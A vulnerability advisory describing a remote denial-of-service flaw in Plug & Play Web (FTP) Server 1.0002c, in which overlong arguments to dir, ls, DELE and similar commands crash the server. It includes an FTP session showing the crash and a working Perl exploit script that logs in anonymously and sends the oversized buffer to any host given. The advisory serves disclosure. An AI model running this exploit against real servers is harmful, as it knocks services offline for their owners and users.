|
Denial Of Service in Plug & Play Web (FTP) Server Introduction: ============= "The Plug and Play Web Server provides all of the tools you need to host your own website. The tools are bundled together in one comprehensive software package that it is incredibly easy to use and maintain." - Vendors Description [ http://www.pandpsoftware.com ] Details: ======== Vulnerable systems: Plug & Play Web Server version 1.0002c A vulnerability has been identified in Plug & Play Web (FTP) server V1.0002c, which allows malicious users to remotely crash the server. By connecting to the server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD) followed by large amounts of data, the server crashes. dir [Ax509] ls [Ax509] delete [Ax509] mkdir [Ax509] DELE [Ax509] RMD [Ax509] MKD [Ax509] Example: -------------------- ftp> o 127.0.0.1 Connected to 127.0.0.1. 220 Plug and Play Web Server V1.0 User (127.0.0.1:(none)): anonymous 331 Password required for anonymous Password: 230 User anonymous logged in ftp> dir AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 200 PORT command successful Connection closed by remote host. ftp> o 127.0.0.1 > ftp: connect :Unknown error number ftp> -------------------- Vendor status: ============== The vendor has been informed, and they are fixing this bug. The updated version, when released, can be downloaded from: http://www.pandpsoftware.com/download.htm Exploit: ======== #!/usr/bin/perl # ppftpdos.pl - Remote denial of service against Plug & Play FTP server use Net::FTP; $host = $ARGV[0]; $buffer = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; if("$ARGV[0]" eq "") { print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n"); print("b_naamneh@hotmail.com - http://www.bsecurity.tk\n"); print("====================================================\n"); die("Usage : ./PPftpdos <host\/ip>\n"); } else { print("Connecting to $host...\n"); my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n"; print("Connected!\n"); $username = "anonymous"; $password = "anonymous"; $ftp->login($username, $password) or die "Could not log in.\n"; $ftp->dir($buffer); $ftp->quit(); print("Success!\n"); } Discovered by/Credit: ===================== Bahaa Naamneh b_naamneh@hotmail.com http://www.bsecurity.tk